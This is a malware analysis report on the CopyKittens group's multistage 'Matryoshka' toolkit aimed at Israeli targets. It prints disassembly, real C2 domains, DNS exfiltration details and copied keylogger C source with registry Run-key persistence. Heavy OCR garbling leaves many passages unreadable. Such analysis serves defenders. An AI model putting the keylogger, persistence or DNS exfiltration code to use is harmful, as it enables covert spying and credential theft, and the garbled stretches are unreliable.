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Executiveummary

The Middle East has be@ncyber warfare hotspot for almost a decade natheatre for some

of the most advanced threats the world has ever witnessed. In between those highly advanced
attacks, more and more attackers possessing only a basic set of skills startedpqegreading

well known RATS, obfuscated with generic feliplavailable packers.

This report focusson the CopyKittensa midlevel group.
The CopyKittens attacks are effiwet and advanced in a few ways

1 Infectingof computers is performed in muttage stealthy method

{1 Data exfiltration is performed over DNS protocol

1 They avoid using known RATSs and packers, tools are "homemade"
il

Constant development is performed to overcome security products improvements

Yet, ths group is clearly not made b dozens of higlend compuer and security experts. The
CopyKittens assembled major parts of their attack from code snippets carefully picked from public
repositories and online forums, hence their nickname. We also named their attack tool
"Matryoshka™ due to the fact that it was vitten as a multistage framework, with each part of it

built to integrate its subsequent step.

We have had only a paal window to the targets of thee semisophisticated yet highly effective

attacks. Among thewvereK A 3K NI y 1 Ay 3 RuinisirydiForeigh Affaits arkban®l St Q&
well-kknown Israeli acadeimresearchers specializing in Middle E&siidies Even if we combine

this with the fact that attackers goal seemed to theft of sensitive dataywe still lack the ability

to clearly identify vino is behind this attacks and if it was sponsored by another major actor.

In our opinion, this will not be the last time we hear frohistgroup. Their constant striving toward
improved performancethe fact that they probably executeslccessful attacksna the current
turmoil in the Middle East region leads us to the conclusion that the CopyKittens will keep striking
targets with similar profilsin the near future.

1 https://en.wikipedia.org/wiki/Matryoshka_doll



TheGroup Attack Cycle

CopyKittendhasconductedat least three waves afyberattacksin the past year. In each dhe
attacksthe infection method was almo#denticaland included an extraordinanumberof stages
used to avoid detection As with other common threat actors, the group relies @ocial

engineeringmethods to deceig its targets priorto infection.

Step One Spear Phishing

The attack is initiated by sending an infected document file as an email attachimembst cases
the email subjecthave beercarefullychosenii 2 Y I 4 OK (KS Weé WweR SiliieQa
retain a copy of an email used to target Israelambassador in a large eastern European country.

Some of the emails subjeivere:

1. Registration form to the United Nations CT(TBunter Terrorism Implementation Task Force)

2. [Israeli MFAquestionnairee URGENJAN original paper, probably stolen in previous att&cks

QINT- 2¥N0 NIINN JOXY

0 Click here to download pictures. To help protect your privacy, Outlook prevented automatic download of some

Message Mz mfa Quest situation 2015.doc (311 KB}
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The email contains the first link in the chain, a word document, containing an OLE binary object

Pav-;té e B I U-akx, x* . A =Bl==|1=+ By - B - 7 Normal = T No Spac... Heading|
ipboard = Font ~ Paragraph ~ Styles
Navigation TR

rch document P -

HEADINGS PAGES RESULTS
STATE OF ISRAEL
CONTENTS

Embassy of the Republic of Albania

Embassy of the Republic of Angola

Embassy of the Republic of Argentina

Embassy of the Republic of Armenia
STATE OF ISRAEL

Australian Embassy - - = ’
MINISTRY OF FOREIGN AFFAIRS

Embassy of the Republic of Austria |
Embassy of Barbados
Embassy of the Republic of Belarus STATE OF ISRAEL
Embassy of the Kingdom of Belgium
Eabosy ofBelze MINISTRY OF FOREIGN AFFAIRS
Embassy of the Republic of Benin

Embassy of Bosnia and Herzegovina

By orhiians PROTOCOL DEPARTMENT
Embassy of the Federative Republic ...
Embassy of the Republic of Bulgaria DIPLOMATIC LIST

Embassy of Burkina Faso

PAGE1 OF 166 19154 WORDs [0Z

2 https://malwr.com/analysis/ZDg3Nzg3MDM3MWQWNDdAmMNTgwYWRMOTJIKNWFhYTQOZjY/
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¢tKS SYOSRRSR 0AYINEB 202S0i0a
with a special invisible Unicode charact&his character officially described as "RigjbiLeft
Override" flips the directionality of the string from its position and onward.

Ay

0 KS theidedides R2 OdzY Sy (

For example, if we name a file "filename [special flipping chagfip it will be displayed as
bFALSYlIYS NOa®PLRTE D

II QuestseitreporP rcs.pdf I [
1

General | Securty [ Detals | Previous Versions
N 1507
: [r— MREIE 20N TaR
7 30 nIMn DX [InY
L Type offile:  Screen saver (scr) f1 DAMRNE A
PRIV Q'O AN VTN
Description:  Questrcs pdf ron Yy ATm
nnaon 'nn tnan
— | Location:  C° IJaem-:ppo' Local\Temp —
Size 733 KB (751.104 bytes) 1Y nenan
Size on disk: 736 KB (753,664 bytes) NIFRYUA TN e
- MNANTNIONRGD e
Created Todsy. November 05, 2015, 2 mintes ago Jiwnorooy e
3 Modified: Today. November 05, 2015, 2 minutes ago I7RUAW AT .

Azcessed Today. November 05, 2015, 2 minutes ago
- (P ?1?
" hdobe
o) Cow ] [ 5w

Thisform of subterfugehas beerpreviously employety other Middle Eastern threat actors such
asa 5 S & S NIi, repdrteddy Kasperskand by elements operating in Syfia

In other casesthe document includes instructions motivating the victim to enable macro code
execution.If the trapis successful and the user played his part, the infection stage fegin

PN -

Secure Connection Failed Because Macro is Disabled
An €rT07 oCuUred during a CoNNEcton 1o Crive gaogie com
S5L recived » record that exceeded the maximum permissidle lenght
(Error Cord : Disabled Content or Macro Disable)
@ The 500 s 308 Uy 6 view want & Mecurnd Coneechon and Cas st

e shen Lo e berd b .y | v

o Pare contacl the wob wbe smemrs o ik Dnalde Contord bs sabvs Bra rrbimm

3 https://securelist.com/blog/research/68817/thelesertfalconstargetedattacks/

4 http://syrianmalware.com/
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Step Twe DroppersMatryoshka
Unlike most malwared, 2 LJ& Y Atdbl§ &sbdufdto each other. Thélatryoshkainfection
framework is built of three parts:

1 Dropper
0 Obfuscating code and signaling to thet@&t the file has been executed
o0 Launching the loader angking it to execute functions.
o Comparing antanalysis logic and perting it backto C2
i Reflective Loader
o Employing ati-debuggingand antisandboxingechniques
0 Runtime API Address resolver
o CovertDLLinjection of the RATbrary
0 Persistencdile on disk
1 RATcomponent
o Configuring the Reflective Loader to survigboots and process exits
0o DNSCommand and Control communication
0 Common RAT functiondtis

Dropper¢ SCR PHle

Files withscrextensionare just the same agxeexecutablesWindows screen savers originally
used this extensiobut nowadaysnediuntlevd threat actors commonly useas a way to deceive
the average usewho might be deterred from anexefile extension.

The dropper name always matched the promised content of the spear phishing email

In the latest version of the dropper, the lure pdf is savediioK S dzia SN A& :wihanat:: F2f R!
GdaiG¢é¢ LINBFTAE | yfolowadlby R@WLIRFdY 60SMiI Syaiz2yd® hyO0S (K
successfully saved, the pdf is opened and displayed to the user via ShellExBtated Open

command. This is done to lower the targetuspicionsand maskthe true functionality of the

executable.

While the userunsuspectinglyreadsthe document, the following routine runs hidden in the
background:

The malware firstinpacls (i K Reflécive[ 2 I RS NE O 2 Yheifeyh&ryandsignsisit@its
6C2LI NBy G aé¢ GKS I GG byQpwnlkadidg ammige file iSrk & r@rdate Sdrver.
The URL of theemote file is built out of two constant strings which again might suggest some
kind of bulder to this platform.

1 We believethe first string to be a unique ID of the target or sample.

i The second is the full URL
4 ¢¢t Ykk5ha! LbkéwlyYR2Y{INAYIEk2a86¢ NHSGL5EOKE! | YLIAI

After signaling to the attackers, the malwacalks a specific export function from thReflective
Loadery  YS R &.yTOikrSubrie & acigdcodeT NBY (G KS datlF FAaKked 2LISYy &2«


http://domain/

by Alberto Ortega (@aOrtegawho describes it asiA demondration tool that employs several
techniques to detect sandboxes and analysis environments in the same way as malware families
doe.

Pafish will enumerate and look for known virtualization and sandbox artifantithen print
results back to the researchscreen.

Sincethe originalPafishcodeis built to improve securityNB & S | NHdi&y $ NEcOver evasive
malware, theCopyKittengjroup ha modifiedthe code logic.

Instead of printing the functiorf®esults back to the user, ¢hcode will now assign a statiomber
from 1-27 inthe caseof an artifactbeingfound, and will return that value to theallingfunction
(the SCR dropper in this case)

UponNB G dzZNYy Ay 3 FTNRY (tleSroppep Wilkperdiméa sifipleyt@rijdor afdif
an analysis machineas beerndetected it will signal theattackers again usinglmostthe same
URL ad did before but replacing the name of thigghcg file to theletter dné concatenated with
the number of the artifacfound by Pafish.

Below is atable demonstrating the artifacts and their corresponding value:

sandbox usernansand paths 1,2
Generic sandbox sleep patch 5
DeleteFiles hooked 6
Sandboxie sbiedi$ injected 7
Wine Linuxemulator is present 8
Running inVirtualboxVM 9-21
Running vMWARE/M 22-25
Running iMEMUVM 26,27

5 https://github.com/a0rtega/pafish



https://github.com/a0rtega/pafish

During our investigation wavere able to identifyan example of this behavior in\druslotal
report onone of the domains used by the attackers:

A Latest detected URLs

Latest URLs hosted in this domain detected by at least one URL scanner or malicious URL dataset

2015-10-20 02:57-38  http://u.mywindows24
2015-04-22 19:20:14  http://u. mywindows24.in/img/513e94bb4c8e1d05014c 92aeBa577332/8544

We believe this URL was submitted by a targettber researchers analyzing the malware.

After alerting the attackers theyave been discoveredthe dropper will try to deletethe
temporary filescreated by himandterminate activity of the infection process.

In the case no analysis machigfound, Rdlective Loadeg A f £ 6S OFft SR 3l AYy gA
(possiby abbreviationof the wordddecrypt) and the third stage of the attack will commence.

Step Three Reflective Loader

In an attempt toincrease stealtimess the CopyKittes group hasdecided to use another open

source project by Stephen Fewe(@stephenfewe}. The project implementa remote library
AyeSOoitAz2y G§SOKyAl dzS Ol ReweRliéscribes Bdrie®ainhi@pes [ [ Ly 2 S
GwSTt SOGAGS 5[ [ ideytisrStechnigieyin whigh the candepd Nl réfBctive

LINEPANF YYAY3I A& SYLIX 28SR (2 LISNF2NY (GKS f2FRAYy3 ;
This method enables the RAT library to run on the host machine without a dedicated process and

without regstration of the library under the loaded modules.

The original project was built as a command line utiitth the target process identifier provided
asanargument. Inareal attackscenariothe injectedprocessdentifier is obviously unknown to
the attacker and a suitable host process should be located at runfiimneCopyKitteis grouphas
implemented this routine by using WTSEnumerateProd&3kto get a list of current active
procesgs and then trying to get a handle to eagrocessvia OpenProce#P| avoidingx64
procesgs

6 https://github.com/stephenfewer/ReflectiveDLLInjection
7 http://www.harmonysecurity.com/files/HE?®05 ReflectiveDllInjection.pdf
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call WTSEnumerateProcess

test eax, eax
jz short loc_ 18883CAA
moy ebx, edi
cmp [ebp+var_18], ebx
jbe short loc_186883CE8
; CODE XREF: sub_18883BEA+BAJ ]
moy eax, [ebp+uar_14]
push dword ptr [edi+eax+4] ; Processld
push ; bInheritHandle
push 412h ; dubDesiredAccess: Create_THREAD| UM_READ | QUERY_INFORMATIOHN
call OpenProcess
moy [ebp+var_28], eax
test eax, eax
jz short loc_18883C9D
lea ecx, [ebp+var_D]
call sub_18882218
test eax, eax
jz short loc 18083C70
lea eax, [ebp+3ystemInfo]
push eax ; 1pSystemInfo

call ds:GetNHativeSystemInfo
push [ebp+var_28]

lea ecx, [ebp+uvar D]
call sub_188821D3
jmp short loc_18883C73

Once a suitable host has been found for infection, the re§t &f ¢ $idjEcicode will be used to
inject the malicious library and execute the RAT.

HULL




Step Four RATGomponent
The main part ofMatryoshka is a remote administration toollibrary. It is designed to exist in
the infectedcomputer memory ands never written tathe computets physicaldiskitself.

Whenwe & Rd264J ( KS thve!digk san of the AMtools detect it with the following
signatures:

Trojan.&ctin identified on April 8 2015 by Symantéc
Troj/Agent-AMEVYthat was identified on March 252015 by Sophds
This however is not the case while the RAT is injected iategitimate host process.

Runtime API Address Resolution

Since the library imjected into memorythe imported functios must be resolved in runtimeo

solve this problem the Copyttens ANR dzLJ dzA SR | YSi{iK2R OIFff SR dwc
w S & 2  BzisikgRtheé LoadLibrary and GetProcAddresss. ARlorder to evade staticvirus

scamersin new version of the RAMhe attackersobfuscatedhe names of theAPIfunctions. They

resolvethem in runtime using a simple substitute cipher combined wBifise64 encodingihe

sametrick wasused in the Reflective Loader componene retrieved the original functions

names as plaintext strings lginga simple Python scripA list ofdecryptedAPI strings and the

python code can be found in th&ppendixand Minerva Labs Resear@itHubrepository'™.

Installation andPersistence

Snce the RAT librarwasbuilt to run fromthe memoryof a host processt relies on theloader

to survivesystemrestart The first time the RAT rung will copy thereflectiveloader, named

G1 SNy St oRf f ¢ Gotmahfgiders arl will ckegt Rrégistiiykey ramed {0355F5D0
467G30E9894GC2FAEF522A18kzy R SAFTWARKIcrosoft Windows CurrentVersiohRuré

g AGK (KSC\WihdoveSystenBRruadil32.exe \%LOCATION%ernel.dll" _deé¢ (-2 NB
run the injection routine after each boot.

In addifon, to make sure the RAT always s(since host process might be closed or crash), the

w! ¢ ONBFGSa | GlFral Ay (GKS 2AyR2ga GFa]l aOKSRdz S|
which will rerun the injection routine every 20 minute$he task scheduler methdahsalsobeen

addedto the newest version of the RAT.

8 http://www.symantec.com/security response/earthlink _writeup.jsp?docid=2@H 923364399
9 https://www.sophos.com/enus/threat-center/threat-analyses/viruseand-spyware/Troj~Agent

AMEY/detaileeanalysis.aspx
10

https://lwww.symantec.com/content/en/us/enterprise/media/security response/whitepapers/a_museu
m_of api_obfuscation on win32.pdf
11 https://github.com/MinervalLabsResearch/BlogPosts
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http://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2015-040923-3643-99
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Agent-AMEY/detailed-analysis.aspx
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Agent-AMEY/detailed-analysis.aspx
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj~Agent-AMEY/detailed-analysis.aspx
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/a_museum_of_api_obfuscation_on_win32.pdf
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/a_museum_of_api_obfuscation_on_win32.pdf
https://github.com/MinervaLabsResearch/BlogPosts

Mame:

Location:

Author

YWindows

Microsoft Boost Kernel Optimization

Micrescft Corporation ce.

This makes the RAT unstalle multipleinstanceanay be executed simultaneously tre same
host machinecausing unexpectetiehavior To reducehis risk the authors have seda global

mutex.

DNSCommand & Control
The RATsesDNSprotocolto communicate with the attackers C2 server.

DNS
DNS
DNS
DN5
DNS

LS

111
138
105
132
105

an

standard query
standard guery
Standard query
standard guery
Standard query

e mem el m A e

0x8527

A becafae.biaj.iuzijiriii. KNG tbstavic-a. xyz

response Ox8527 A 134.170.185.23

0xb510 A ibeafi.a.gu2cdrb. | . Tbstatic-a.xyz
response 0xb510 A 161.69.29.251

0x1e99 A fbeage.a.huZcdre. | f-static-a. xyz

M EC -

T mmm mammmea A CAAAGAA T T TS el

The DNS queries are constructieom the following sections

1. C2 domain name

2. The wiqueIDof the infected machine (computer nameHbserial

3. Random string

4. Data to betransmitted.

To maketraffic analysisand detectionmore difficult, the group usesa substitute cipher to
obfuscate the datdefore itissentto the C2

-text
.text
-text
-text
-text
-text
.text
-text
-text
.text
-text
-text
.text
-text
-text
.text
-text
.text
-text
-text
.text
-text
-text
.text
-text
-text
.text
-text
-text
-text
-text
.text
-text
-text
.text
-text
-text
.text
-text
-text

:6C6BYSEG CaesarCipher proc near ; CODE XREF: H_EncryptBeforeExfiltrate+59)p
16CGBYSEG

:6C6BOSES arg @ = dword ptr 8

:6C6BYSES

:6CGBOSES push ebp

6C6BOSE7 mou ebp, esp

16C6BYSEYD mou ecx, [ebp+arg 8]

:6C6BOSEC lea eax, [ecx-61h]

t6C6BOSEF cmp eax, 9

t6CGBOSF2 ja short loc_6CG6BOSFQ

:6CGBOSFY lea eax, [ecx-31h]

HH 33 jmp short loc_6C6B9619

:6C6BOSFD

6C6BOSF9

6C6BY5F9 loc_6C6B9SF9: ; CODE XREF: Eaesarﬂipherfﬂfj
t6CGBOSFQ lea eax, [ecx-38nh]

6C6BOSFC cmp eax, 9

t6C6BYSFF ja short loc_6C6B9686

:6C6B26B1 lea eax, [ecx+31h]

6C6BO6OL jmp short loc_6C6B9619

:6C6B26BG

:6CGBR6BG

:6C6B2686 loc_6C6BI6HG: ; CODE XREF: CaesarCipher+191j
:6CGBR6B6 lea eax, [ecx-6Bh]

:6C6BR6O9 cmp eax, BFh

t6C6BY6AC ja short loc_6C6B9617

16CGBR6BE mov eax, BESh

6CHBO613 sub eax, ecx

t6C6BY615 jmp short loc_6C6B9619

:6C6B2G17

6C6BR617

:6C6B2617 loc_6CO6BO617: ; CODE XREF: CaesarCipher+261j
:6C6BR617 mov al, cl

6C6BR619

:6C6B2619 loc_6C6BO619: ; CODE XREF: CaesarCipher+11%j
t6C6B9619 ; CaesarCipher+1ETj ...
16C6B9619 pop ebp

tGCGBR61A retn L)

6C6B261A CaesarCipher endp

:6C6BY61A

11



Anotherwayusedto disguisethe DNS traffic and lowehe suspicionef SOC and NOC teamas
the uselPs from address blocks of Microsoft and McAfetaC2response:

NetRange: 161.69.8.8 - 161.69.255.255
CIDR: 161.69.08.8/16

NetMName : METWORK -ASSOCIATES-INC
MNetHandle: NET-161-6%9-8-8-1

Farent: NET161 (MET-161-@-2-8-@)
NetType: Direct Assignment
OriginAs:

Organization: McAfee, Imc. (MCAFE-2)
NetRange: 134.17@.8.8 - 134.178.255.255
CIDR: 134.170.8.8/16

NetMame : MICROSOFT

MetHandle: MET-134-178-8-8-1

Parent: NET134 (NET-134-8-B-2-8)
NetType: Direct Assignment

OriginAS:

Organization: Microsoft Corp (MSFT-Z)

Once acommand is received from the C2 server in DS responseghe RAT willranslateit to
acorresponding command.

For examplewhen the CZendsa DNSesponse with the IP addre$84.170.185.13he RAT will
try and steal outlook passwords.

12



Common RATapabilities

Outlook passwords

This functionality resembtea method described bySecurityExploded? ¥ 2 R&codering
Passwords from Outlook 20@01% ® 2 &ssuinkthat the grouphascopied this code as well.

push
push
push
nov

push
push
call
test
jnz

push
nov

call

push
nov

call
lea

push
push
push
push
push
call
test
jnz

push
nov

call

push
call
lea

push
push
push
push
push
call
test
jnz

push
mov

call

eax '; phkResﬁlt

2881%h ; samDesired

ebx ; ulOptions

ebx, ds:ReglpenKeyExl

offset SubKey ; “SOFTWAREM\MicrosoftyiWindows HT\ACurren"...

80000001h ; hKey
ebx ; RegOpenKeyExt
eax, eax

short loc_188868DA
[esp+278h+phkResult] ; hKey
ecx, esi

sub_188861EB

; CODE XREF: sub_10080682F+9ETj
[esp+278h+phkResult] ; hKey
edi, ds:RegClosekey
edi ; RegCloseKey
eax, [esp+278h+phkResult]

eax ; phkResult

28619h ; samDesired

[} ; ulOptions

offset aSoftwvareMicr_2 ; “Softwareii\HicrosoftiyilWindows Hessaging
866080810 ; hKey

ebx ; RegOpenKeyExW

eax, eax

short loc_1888698D
[esp+278h+phkResult] ; hKey
ecy, esi

sub_1886861EB

; CODE XREF: sub_1080682F+D1Tj
[esp+278h+phkResult] ; hKey
edi ; RegCloseKey
eax, [esp+278h+phkResult]

eax ; phkResult

28819h ; samDesired

5] ; ulOptions

offset aSoftwareMicr_3 ; “Softwarevi\Microsofty\OfFicey 15,03 0utl” ...
80608081h ; hKey

ebx ; RegOpenKeyExW

eax, eax

short loc_10080693A
[esp+278h+phkResult] ; hKey
PCX, B5i

sub_1008861EB

ScreerGrabbingand Keylogging
This RAT is also capablescreen grabbing and keylogging. Unsurprisiffytye toowe were able
to trace back a portion of the original source code frihva popularrohitab.comonline forunt?.

2 http://securityxploded.com/outlookpasswordsecrets.plfRecovering Passads from Outlook 2002

2013

13 http://www.rohitab.com/discuss/topic/4006Keyloggingall-usersacrosswindows 7-professional/
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//Keybeard hook callback function.
//msdn.microsoft.com/en-us/library/ms644959. aspx
LRESULT CALLBACK LowLevelkeyboardProc(int nCode, WPARAM wParam, LPARAM 1Param){
// Get new info.
KEDLLHOOKSTRUCT “pKeyBoard = (KBDLLHOOKSTRUCT *)1Param;
switch(wParam){

case W KEVUR:{ . sub_1000BBCE:1000BCAE 1003AD08 Unicode  [Page Up]
Getilinden(}; ko s sub_100DBBCE1000BCS3 1003AD20 Unicode  [Page Down]
UINT code = pKeyBoard->vkCode; )
e e i eresice . keytogys * sub_100DBBCE1000BCTE 1003AD3C Unicode  [END]
else if(code == 27) fputs(" [ESC] ", keyLog): . sub_100DBECE1000BCAD 1003AD4C Unicode  [HOME]
else if(code == 33) fputs(" [Page Up] ", keylog); AC sub_1000BBCE:1000BCA2 1003AD60 Unicode  [Arrow Left]
b :ﬁézzj: 3‘5‘; ;g:t‘g %Z;g? ?“”‘Eiﬂ;g;‘?y““ C sub_100DBBCE 1000BCET 1003AD7C Unicode  [Arrow Up]
Clee if(cods == 35) fhute(" [HOME] *, KeyLog): s sub_100DBBCE:1000BCCC 1003AD94 Unicode  [Arrow Right]
elze éiémje 3;; ?’“Fﬁ: %{wm be;g]"iﬂ kiytsg); % sub_100DBECE:1000BCE 1003ADB4 Unicode  [Arrow Downl
else if(code puts(" [Arrow Up]", keylog): ' i
loe ficode = 30) Foutarr [arrow Reanip Y eei s < sub_100DBECE1000BCFS 1003ADDO Unicode  [INSERT]
clse if(code == 2@) fputs(" [Arrow Down]", keylog)s . sub_100DBECE1000ED0E 1003ADER Unicode  [DELETE]
clse ;%cage 45; iputsg" %msm% t:yLog;; % sub_100DBECE1000BD1A 1003AE00 Unicode  [LWindows Key]
else if(code == 46) fputs(” [DELETE] ", keyLog); §
else if(code == 54 && GetAsyncKeyState(VK_SHIFT)) fputs("*", keylog); < sub_1000BBCE:10008D2C 1003AE24 Unicede  [R Windows Keyl
else if(code == 91) fputs(" [L Windows Key] ", keylog); < sub_1000BBCE:1000BD3E 1003AE48 Unicode  [R Menu]
else if(code == 92) fputs(" [R Windows Key] ", keylog); * sub_100DBBCE1000BDS3 1003AES0 Unicode  [NUM LOCK]
else if(code == 93) fputs(” [R Menu] ", keylog); = sub_1000BBCE:1000BD68 1003AE7C Unicode  [ACUTE/CEDILLA]

else if(code == 124) fputs(" [NUM LOCK] ", keylog);

else if(code == 222) fputs(" [ACUTE/CEDILLA] ",keyLog);

else GetKeyFromVCode(code,false);

//Flush to prevent from losing data upon unexpected program termination.
Fflush(keyLog);

)
default:
return CallllextHookEx(NULL, nCode, wParam, lParam);

}
return 8;

Another interestingact is that the author also copied thegistrykey described in the installation
stage abovereplacing onha singlecharacterof the original randomly generated unique.IlD

//Add the exe to the registry to run on startup.

LONG AddRegistry(void){

HKEY hkKey = nullptr;

//Get the HKEY handle with write permission.

[/ Check to see if we can write to run and if run exists.

if( RegOpenKeyEx({ HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), @, KEY_ALL_ACCESS, &hKey ) == ERROR_SUCCESS ){

TCHAR FileMName[MAX_PATH];

// C:\Program Files (x86)\Temp

f/C:\Users\Public\Documents\Temp

_tecscpy( FileName, _T("C:‘\\tkl.exe") };

size t pathLen = ( ( _tcslen(FileName) + 1 ) * sizeof( TCHAR ) };
TCHAR *pKeyName = "{B355F5D0-457C-30E9-894C-C2FAEF522412}";

if( RegSetValueEx( hKey, pKeyMame, @, REG_SZ, (LPBYTE)&FileName, pathLen ) == ERROR_SUCCESS }{
RegClosekey (hKey);

return ERROR_SUCCESS;

¥

else{

RegClosekey (hKey);

return -1L;

}

I

else{
RegCloseKey (hKey);
return -1L;

f——

14



ImprovementOver Time
Incomparing samples from different attack cycles, we can easily see that the attackers have spent
time improving their toolmaking itmore persistent andharder to detect

For examplebetween the first versions of the RAT and the latest, the group starteddolve
more API during runtimeusing obfuscated stringsA comparison of the outlook password
extraction function from previous and current RAT versicens be seendlow.

In addition the group habeen adding anti sandboxirtgchniques, such ake code from Pafish
described above ananti-debugging methods:

Thisanti-debuggingcode seemso have beencopied fromCodeProjedt, awell-known online
source.

14 hitp://www.codeproject.com/Articles/30815/APAnti-ReverseEngineerinegGuide
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